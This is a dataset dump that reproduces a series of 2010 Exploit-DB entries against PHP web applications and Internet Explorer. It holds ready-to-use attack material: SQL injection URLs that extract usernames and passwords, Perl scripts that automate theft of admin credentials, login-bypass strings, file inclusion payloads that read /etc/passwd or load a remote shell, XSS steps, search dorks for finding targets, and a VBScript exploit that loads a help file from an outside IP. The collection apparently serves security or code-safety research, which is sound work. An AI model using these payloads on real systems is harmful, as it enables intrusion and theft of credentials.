QLWD/code_shield huggingface dataset:
标题: ATutor 1.6.4 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 11685 CVE: 2010-0971 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-11 漏洞利用脚本: Topic : ATutor 1.6.4
Bugs Type : Cross Site Scripting (all of them)
Credit : ItSecTeam
Remote : Yes
Status : Bug

# mail : Bug@ItSecTeam.com
# Dork : "ATutor 1.6.4"
#Special Tnx : am!rkh@n, Amin Shokohi(Pejvak), C0M0D0, 0xd41684c654, r3dmove And All It Security Team Members
#Website : WwW.ITSecTeam.com

########################## Exploit #############################
the bugs can be explited as below:

#1: After logging in as an instructor go to manage section and add a poll and inject your XSS code as a questaion or choices.
#2: After logging in as an instructor go to manage section and Create a new Group and inject your XSS code as title or group type.
#3: After logging in as an instructor go to manage section and Add an Assignment with XSS code as title. URL: https://www.exploit-db.com/exploits/11685
标题: PhpCityPortal - Multiple Vulnerabilities EDB-ID: 11678 CVE: 2010-0975 2010-0974 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-10 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: suffer from multi SQL !NJECTON Vulnerability
[~] Vendor: phpcityportal.com
[?] Software : PhpCityPortal
[-] pR!CE :
-PURCHASE 1 LICENSE - $149 each
-PURCHASE 3 LICENSES - $119 each
-PURCHASE 5 LICENSES - $99 each
-PURCHASE 6 OR MORE LICENSES PLEASE CONTACT US FOR PRICING.

[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 10.MAR.2010
[?] T!ME: 04:15 pm GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????

SQL Injection:

[*] Err0r C0N50L3:

http://TARGET/P47H/video_show.php?id=SQL

http://TARGET/P47H/spotlight_detail.php?id=SQL

http://TARGET/P47H/real_estate_details.php?id=sql

http://TARGET/P47H/auto_details.php?id=sql


[~] {EV!L EXPLO!T}:

[*]FORb!d3N


Remote File Inclusion:

[*] Err0r C0N50L3:

http://TARGET/P47H/external.php?url=include your fucken evil shell


[~] {EV!L EXPLO!T}:

like:
http://server/external.php?url=http://xp10.me

N073:

REAL RED DEV!L W@S h3r3 LAMERZ


GAZA !N our hearts !


[~]-----------------------------{((MAGOUSH-87))}---------------------------------------


[~] Greetz tO: dolly & MERNA & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush-1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11678
标题: nus newssystem 1.02 - 'id' SQL Injection EDB-ID: 11674 CVE: 2010-5060 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-09 漏洞利用脚本: .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.
 
 ~ NUs Newssystem 1.02 (id) SQL Injection Vulnerability ~
 
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Autor: n3w7u

[+] Page: http://www.internet-works.de/home.html

[+] Vulnerabilities [ SQL Injection ]

[+] Language: [ PHP ]

[+] Version: 1.02

[+] Dork : inurl:"?pageNum_RSnews"&view

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vulnerability 

    Nus.php?pageNum_RSnews=0&id=
 

[+] Exploitable 

    http://[host]/[path]/[script].php?pageNum_RSnews=0&id=9999999+union+select+1,2,3,user,5,pass,7,8,9+from+reguser-- URL: https://www.exploit-db.com/exploits/11674
标题: mhproducts Kleinanzeigenmarkt - 'search.php' SQL Injection EDB-ID: 11671 CVE: 2010-5062 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-09 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : mhproducts kleinanzeigenmarkt search.php SQL Injection
+Autor : Easy Laster
+Date   : 09.03.2010
+Script  : mhproducts kleinanzeigenmarkt 
+Download : ----------------
+Price : 9,99 €
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/portal/search.php?c=

#username 
+Exploitable   : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2,
3,4,5,convert(name using utf8),7,8,9,10,11,12,13,14,15+from+users--+

#user pass
+Exploitable   : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2,
3,4,5,convert(password using utf8),7,8,9,10,11,12,13,14,15+from+users--+

or

+Exploitable   : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2,
3,4,5,concat(name,0x3a,password,0x3a,email)7,8,9,10,11,12,13,14,15+from+users--+


----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11671
标题: TRIBISUR 2.0 - Local File Inclusion EDB-ID: 11655 CVE: 2010-0958 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-08 漏洞利用脚本: # TRIBISUR <= 2.0 Local File Include Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Greetz: opt!x hacker, xoron, cyberlog, mywisdom, irvian, EA ngel, bL4Ck_3n91n3, xharu, zvtral, and all my friend

[+] Code:

<?

//************************** INCLUDE ***************************
include("./templates/$theme/hayoo_hpage.htm");
//********************   Nouveau visiteur    *******************
    $sql = "UPDATE hayoo_conf SET count = count +1 ";
//************************** FIN CONNECT DEBUT HTML ***************************
?>

[+] PoC: [path]/modules/hayoo/index.php?theme=[LFI%00] URL: https://www.exploit-db.com/exploits/11655
标题: Bild Flirt System 2.0 - 'index.php?id' SQL Injection EDB-ID: 11648 CVE: 2010-0955 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-07 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Bild Flirt System V2.0 index.php (id) SQL Injection
+Autor : Easy Laster
+Date   : 07.03.2010
+Script  : Bild Flirt System V2.0
+Price : 14,95€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://server/demo/index.php?id=
+Exploitable   : http://server/demo/index.php?id=-111111111+union+select+concat
(name,0x3a,passwort)+from+bildf_user+where+user_id=1#
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11648
标题: BigForum 4.5 - SQL Injection EDB-ID: 11646 CVE: 2010-0948 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-07 漏洞利用脚本: #!/usr/bin/perl

use LWP::Simple;

print "\n";

print "##############################################################\n";

print "# BigForum Version: 4.5 SQL INJECTION                        #\n";

print "# Author: Ctacok  (Russian)                                  #\n";

print "# Blog : www.Ctacok.ru                                       #\n";

print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";

print "# Require : Magic_quotes = Off                               #\n";

print "##############################################################\n";

if (@ARGV < 2)

{

print "\n Usage: exploit.pl [host] [path] ";

print "\n EX : exploit.pl www.localhost.com /path/ \n\n";

exit;

}

$host=$ARGV[0];

$path=$ARGV[1];

$vuln = "-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username,0x3a,pw,0x3a3a3a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users";

$doc = get($host.$path."profil.php?id=".$vuln."+--+");

if ($doc =~ /:::(.+):(.+):(.+):::/){

         print "\n[+] Admin id: : $1";

print "\n[+] Admin username: $2";

print "\n[+] Admin password: $3";

} URL: https://www.exploit-db.com/exploits/11646
标题: dev4u CMS (Personenseiten) - 'go_target.php' SQL Injection EDB-ID: 11643 CVE: 2010-0951 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-06 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : dev4u CMS (Personenseiten) go_target.php SQL Injection
+Autor : Easy Laster
+Date   : 06.03.2010
+Script  : dev4u CMS Personenseiten
+Download Site : http://www.dev4u.de/cms/personenseiten.php
+Price : 595€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=999999'

+Exploitable   : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=9999999'
+union+select+1,2,3,4,5,6,7,8,concat(user_name,0x3a,passwort),10,11,12,13,14,15,16+from+
cl_user+where+user_id=1--+&v=print
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11643
标题: OneCMS 2.5 - SQL Injection EDB-ID: 11635 CVE: 2010-0952 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-05 漏洞利用脚本: # Exploit Title: ONECMS v2.5 SQL INJECTION 
# Date: 05.03.2010
# Author: Ctacok and .:[melkiy]:.
# Software Link: http://sourceforge.net/projects/onecms/
# Version: 2.5
# Tested on: Ubuntu 9.10 Apache2+PHP5

#!/usr/bin/perl 
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# ONECMS v2.5 SQL INJECTION                                  #\n";
print "# Bug founded by: .:[melkiy]:.                               #\n";
print "# Exploit coded by: Ctacok                                   #\n";
print "# Special for Antichat (forum.antichat.ru)                   #\n";
print "# Require : Magic_quotes = Off                               #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2];   #  PREFIX TABLES, Default: onecms
$vuln = "-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a),10,11+from+".$prefix."_users";
$doc = get($host.$path."index.php?load=elite&user=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
         print "\n[+] Admin id: : $1";
  print "\n[+] Admin email: $2";
  print "\n[+] Admin password: $3";
} URL: https://www.exploit-db.com/exploits/11635
标题: My Little Forum - 'contact.php' SQL Injection EDB-ID: 11616 CVE: 2010-2133 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-02 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : my little forum contact.php SQL Injection
+Autor : Easy Laster
+Date   : 02.03.2010
+Script  : my little forum contact.php
+Download : http://mylittleforum.net/
+Demo : http://teklador.de/forum/
+Price : 00,00$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://site.com/forum/contact.php?id=
+Exploitable   : http://site.com/forum/contact.php?id=-11111111'+union+select+1,2
,concat(user_name,0x3a,user_pw),4,5+from+forum_userdata+where+user_id=1--+
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11616
标题: Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe MsgBox()' Remote Code Execution EDB-ID: 11615 CVE: 2010-0483 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-03-02 漏洞利用脚本: Microsoft Internet Explorer is prone to a remote code execution vulnerability.

Source (iSEC Security Research):
http://isec.pl/vulnerabilities10.html

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer.

Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so.

Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform.

===============================================================
A copy of test.hlp can be downloaded from here:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11615.zip (msgbox_test_help.zip)
===============================================================

<html>
<script type="text/vbscript">
big = "\\184.73.14.110\PUBLIC\test.hlp"
 
//For i=1 to 2500
//  big = big & "\..\"
//Next
 
 
MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html> URL: https://www.exploit-db.com/exploits/11615
标题: Joomla! Component com_blog - Directory Traversal EDB-ID: 11625 CVE: 2010-1540 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-03 漏洞利用脚本: [~]######################################### InformatioN #############################################[~]

[~] Title     : Joomla Component com_blog LFI Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@gmail.com

[~]######################################### ExploiT #################################################[~]

[~] Vulnerable File :

http://127.0.0.1/index.php?option=com_myblog&Itemid=12&task=[LFI]

[~] ExploiT         :

../../../../../../../../etc/passwd%00

[~] Example         :

http://127.0.0.1/index.php?option=com_myblog&Itemid=12&task=../../../../../../../../etc/passwd%00


[~]######################################### ThankS To ... ############################################[~]

[~] Specilal Thanks To My Best FriendS :

Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS

[~] IRANIAN Young HackerZ

[~]######################################## FinisH :D #################################################[~] URL: https://www.exploit-db.com/exploits/11625
标题: smartplugs 1.3 - 'showplugs.php' SQL Injection EDB-ID: 11623 CVE: 2010-1271 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-03 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : smartplugs 1.3 SQL Injection showplugs.php
+Autor : Easy Laster
+Date   : 03.03.2010
+Script  : smartplugs 1.3  http://www.smart-plugs.com/spv1/
+Download : -------------
+Price : 170$
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/smartplugs/showplugs.php?domain=

+Exploitable users  : www.site.com/smartplugs/showplugs.php?domain=-9999999999'+union+select
+1,concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6+from+user--+

Exploitable admin : www.site.com/smartplugs/showplugs.php?domain=-9999999999'+union+
select+1,concat(username,0x3a,password),3,4,5,6+from+logins--+
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11623
标题: Gnat-TGP 1.2.20 - Remote File Inclusion EDB-ID: 11621 CVE: 2010-1272 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-03 漏洞利用脚本: ###############################################################
# Gnat-TGP <= 1.2.20 Remote File Include Vulnerability
# By cr4wl3r
# Download: http://www.komputer.boo.pl/download/skrypty/galerie/gnat-tgp.rar
# Gr33tz: EA ngel, Hmei7, zvtral, mywisdom and all my friend
###############################################################
###############################################################
# Fuck to buat loe tukang show off, dan buat loe yang mengaku dirinya hacker dan pamer sana-sini
# mengatakan orang lain lamer karena suka deface sedangkan dirinya adalah tukang deface
# you are 1337 lamer 1337 hoax and 1337 gay
# i'm injector and rooter in the site and i'm be silent
###############################################################
###############################################################

# PoC: http://server/includes/tgpinc.php?DOCUMENT_ROOT=[Shell]

############################################################### URL: https://www.exploit-db.com/exploits/11621
标题: HazelPress Lite 0.0.4 - Authentication Bypass EDB-ID: 11602 CVE: 2010-2135 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-28 漏洞利用脚本: # HazelPress Lite <= 0.0.4 (Auth Bypass) SQL Injection Vulnerability
# By cr4wl3r
# Download: http://hazelpress.org/index.php?hazel=downloads

# PoC: [path]/login.php

# Username: ' or '1=1
# password: ' or '1=1 URL: https://www.exploit-db.com/exploits/11602
标题: Joomla! Component com_yanc - SQL Injection EDB-ID: 11603 CVE: 2007-2792 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-28 漏洞利用脚本: ==============================================================================
[»] Joomla com_yanc Remote Sql Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ His0k4, PrEdAtOr >>> All My Mamber >> sec-war.com/cc ]
[»] Dork:     [inurl:index.php?option=com_yanc "listid" ]   
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_yanc&Itemid=75&listid=-2+UNION SELECT concat(username,0x3a,password),2+from+jos_users--
[»]Author: Snakespc <-
########################################################################### URL: https://www.exploit-db.com/exploits/11603